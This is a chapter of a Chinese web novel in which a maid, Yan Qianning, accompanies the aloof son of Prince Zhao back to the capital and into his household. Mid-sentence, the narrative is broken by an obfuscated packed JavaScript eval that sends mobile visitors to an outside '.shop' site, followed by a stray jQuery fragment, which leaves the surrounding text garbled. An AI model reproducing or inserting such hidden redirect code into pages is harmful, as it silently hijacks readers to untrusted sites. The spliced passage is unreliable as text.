文趣网 > 其他小说 > 真以为我想喊你爷? > 8. 回京
    临屿在京城等了五日,按理来说应该到了,可自家公子和那圆脸姑娘却迟迟不露面,不仅如此,他飞鸽传书到清河县,鸽子没找到人,又自己飞回来了,仿佛人间蒸发了一样杳无音讯。

    想着莫不是遇险了,临屿从京城出发,快马加鞭不到二日抵达清河县,前往客栈询问,却被告知人早就离开了。

    临屿心头一沉,沿路里里外外检查,耗费了半个月也没找到人,心里愈发焦急,雨天路滑,不小心滑落山崖,顺着瀑布滑落,却意外发现了蓬头垢面的主子。

    眼见快要上钩的鱼被砸得逃窜,凌绝忧收回树枝做的鱼竿,垂下眸子看着水中挣扎的人:“谁让你来了。”

    临屿从水面探出头,又沉了下去。

    他掉下来时撞到了右腿,使不上劲,手脚并用扭曲爬行,好不容易上了岸。

    却见凌绝忧把鱼竿一抛,闲情雅致地钓起鱼,开口就下逐客令。

    “你快走吧,别让小茹看到了。”

    临屿:“……”

    “…您不回京了吗?”

    “是又怎样?”

    “王爷和世子还在等您……”

    闻言,凌绝忧好看的眉眼微不足道地皱了下,终于将视线从水面移开,眼神阴冷:“你……”

    “你怎么来了?”

    娇俏的女声打断了他的话。

    燕千凝抱着大堆果子,横插进他们的对话。

    她看了看浑身是水的临屿,又看了看凌绝忧,见两人之间氛围奇怪:“哎呀,我东西落了,我回去……”

    “小茹姑娘!”

    临屿忽略来自自家公子的眼神威胁,喊住燕千凝。

    “姑娘,你也同我们回京罢。”

    听到关键词“回京”,燕千凝脚步一顿,内心欢天喜地,面上却不显,转身疑惑问道:“回京?什么意思?”

    她就知道这两人根本不是什么土匪。

    燕千凝喜上眉梢,美滋滋盘算回京。

    临屿清了清嗓子:“我是昭王府的侍卫,这位是我们王府的公子。”

    居然是王府。

    燕千凝当即顺着他的话表忠诚:“誓死追随公子!”

    凌绝忧一脸阴沉,扔下鱼竿:“小茹,你是听他的还是听我的。”

    “那我当然是听爷的啊。”

    燕千凝立马摆清主次:“这穷乡僻壤的,您在这待着都灰头土脸的,咱们都吃了半个月果子了,一点腥荤都没有,为了您的身体着想,咱们还是回京城吧。”

    凌绝醒来后身体一直没好利索,这半个月,她天天又是照顾他,又是爬树摘果子充饥。山洞太窄小,都是躺在草地上睡觉,虽然夜空挺好看的,可每晚睡着前,她都在担心会不会有野兽来啃咬她们。

    天天在河里洗澡,现在都早秋了,冷死了,她太怀念热水了。

    临屿也跟着说:“公子,回去吧。”

    燕千凝瞪着圆眼:“公子回去吧。”

    凌绝忧:“……”

    ……

    马车行驶速度飞快,通过了城门,燕千凝撩起窗帘,趴在窗边看着窗外,景色由荒僻到热闹,商贩的吆喝声震天响,这边有人吵架,那边有人斗殴。

    她深吸一口气。

    啊!

    是她熟悉的京城。

    凌绝忧瞥了一眼:“有什么好看的,吵死了。”

    “吵说明有人气,人待在一起不吵才可怕。”

    “啊!”燕千凝望到靖宁侯府的门牌,抱起包袱准备下车,可马车不停,丝滑地奔驰过侯府门前。

    故意的吧。

    这昭王府它和靖宁侯府也不顺路啊。

    一声嗤笑传入耳中。

    “小茹啊小茹,你难不成还想回去?”凌绝忧看着她冷笑。

    “我…我有东西还在侯府里没拿。”

    “你缺什么直接和我说。”

    燕千凝低着头,手指扣着包袱上的结。

    “公子您说,我跟着您回王府又能做什么?”

    “继续当丫鬟。”

    也是。

    在侯府也是当丫鬟,说不准王府月钱还更多。

    “公子,我虽然只当了一天贴身丫鬟,可这个月钱啊……”

    燕千凝之前想逃跑是因为他身份可疑,行事全凭兴趣,既然他有这么一个“王府公子”的正式职业,跟着他倒也无妨,而且还能多多获利。

    凌绝忧:“……”

    “你之前月钱多少,我给你翻倍。”

    燕千凝竖起大拇哥:“公子大气!”

    道路颠簸,晃晃悠悠的光影随着一声“吁”安静下来,燕千凝连忙先下车,抬手要搀扶他。

    凌绝忧视若无睹,踩着踏杌,睨了她一样。

    临屿先一步向门房说明情况,待凌绝忧跨进门内,又小跑着离开。

    昭王府与侯府不同,若侯府是春末夏初的灿烂活泼,那么昭王府就是秋末冬初,安静冷寂,沉稳得像是池塘里的一片枯叶。

    她随着凌绝忧走进正厅,该是俯身叩首了,他却直直站着。

    一个打扮贵重的妇人,端着茶盏,语气平淡:“凶险一场,能平安回来,保住一条性命也算是老天保佑。”

    “云筠,把我库房里上好的当归人参取来,送到公子院里。”

    “是。”侍女应了一声退下。

    她声音平缓,不怒自威:“你既是受了伤,缺什么同管事说,无需来回奔走,安心养伤便罢。”

    凌绝忧全程垂眸,脊背笔直,得到她这句话,一无感谢,二无躬身,立马迈步出了正厅,步入廊外。

    燕千凝低着头,悄悄抬眼用余光窥察,凌绝忧表情平淡,可是眸光暗沉像是蕴藏着什么了不得的黑暗。

    他的眉眼生的本就凌厉,平时总是笑眯眯的,叫人心生好感,而像此时这般不笑时,光是一眼,都让人被他那黑漆漆的眼睛吞噬。

    而且他很是敏锐,燕千凝不过刚看了一眼,他的眼睛便转了方向,垂眸,黑漆漆的眸子对了上来。

    燕千凝垂眸不敢再看。

    院里静悄悄的,花木精细修剪,廊下干净无灰。

    凌绝忧院里的下人不多,加上燕千凝在内也不过十人。

    一路上也每个丫鬟小厮上来行礼,和靖宁侯府完全比不了,想来这凌绝忧是不太得宠的,不过也是,看他刚才那态度,要是在侯府得住柴房。

    面容端重的嬷嬷迎上来行了礼,凌绝忧对着她吩咐,要她安置好燕千凝,不忘说了她的月钱得翻倍。

    李嬷嬷目光移向燕千凝,点点头。

    燕千凝跟着嬷嬷,换了王府统一的衣衫,确认了住处,带着她认路,突然有个小丫鬟过来,低声说了些什么,李嬷嬷皱着眉,给她指了路,让她自己回去。

    回到院子里,却听

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674731|207435||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    见有人在议论她

    “你们可看着了?三公子回来的时候还带了个女人。”

    “好像是叫小茹,我还以为是什么呢,原来就是个丫鬟,没意思。”

    “人家可是刚来就当上大丫鬟了,谁知道和三公子是什么关系,我看啊,用不了多久就会抬成妾。”

    “哎,我就是干一辈子都成不了大丫鬟。”

    ……

    转眼间,几个小丫鬟们换了话题,燕千凝没有兴趣,悄悄地来又悄悄地走了。

    这点倒和侯府一样,她当时什上一等丫鬟,没少被其他丫鬟嘴。

    不过,她当初穿越来时,没什么上进心,就想着熬到一定年纪出府,谁知靖宁侯府内部不仅小姐有嫡嫡道道、庶庶平平,丫鬟之间也互相歧视折磨。

    燕千凝还记得那年冬天,她和两个小丫鬟不知怎么得罪了一个大丫鬟,晚上没人给她们开门,逼得她们在雪地里站了一宿,简直和她小时候在福利院被大姐大欺负有的一拼。

    于是她发愤图强从庶出小姐院里转到大小姐院里,嘴甜讨人喜欢,月钱俸给嬷嬷,终于迎来一个机会被大小姐看中,最后磋磨了几个月当上一等丫鬟。

    与之相比被嘴两句又能如何。

    反而显得这王府丫鬟素质高,要是她现在是在靖宁侯府,指不定被骂得多脏。

    燕千凝毫不在意,不仅不在意,她还要和她们打好关系,问问王府还有凌绝忧的事情。

    她什么都不知道,连昭王府的存在都不知道。

    刚才那妇人对凌绝忧的态度如此冷淡,必然不是亲生的,不过凌绝忧那态度也不容小觑,竟是连装模作样都懒得做。

    要是在靖宁侯府,庶子敢对夫人这般,早被关柴房抄写一百遍《孝经》了。

    凌绝忧你就庆幸生在昭王府吧。

    “哎是你啊。”

    燕千凝回过神来,眼前站着一小厮惊讶地看着她。

    他见燕千凝没能认出自己,开口解释道:“那日在山洞,公子撞开的就是我。”

    “你呀!”燕千凝眼睛一亮,“我当时还问了,为什么要撞你,公子还骗我说你是他仇家。”

    这小厮看起来有些傻气,长得白净,眉毛多却不重,圆眼厚唇,看起来很是面善。

    “我以前哪里认的王府啊,吓了我一跳,唉。”

    “我初来乍到也没个认识的,之前在侯府做工,不知道咱们王府的规矩是什么,生怕做错了什么给咱公子丢脸。对了,公子莫不是和王妃吵架了,我刚刚跟着公子在大厅,两人看起来都不大高兴……”

    明尺有些不好意思,讪讪一笑:“王妃和公子一直都这样。”

    “这样啊。”燕千凝了然地点点头,继续打听,“我对咱王府……”

    “小茹。”

    远处廊下,凌绝忧身姿挺拔,日光斜斜打在脸上,眉宇英气,一双黑眸冷淡地望过来,他的皮肤在光里显得越发透亮,走近至二人身边,视线忽的下移。

    “你穿的这是什么。”

    ……?

    燕千凝梳一双双环垂髻,鬓边斜簪银鎏金小簪,身着豆绿短袄,细褶长裙,标准王府穿搭。

    “进了王府,从今开始就是王府的一份子了……”

    “换回来。”

    燕千凝怔忪,当丫鬟的最忌为的就是特立独行。

    “这…怕是不合规矩吧。”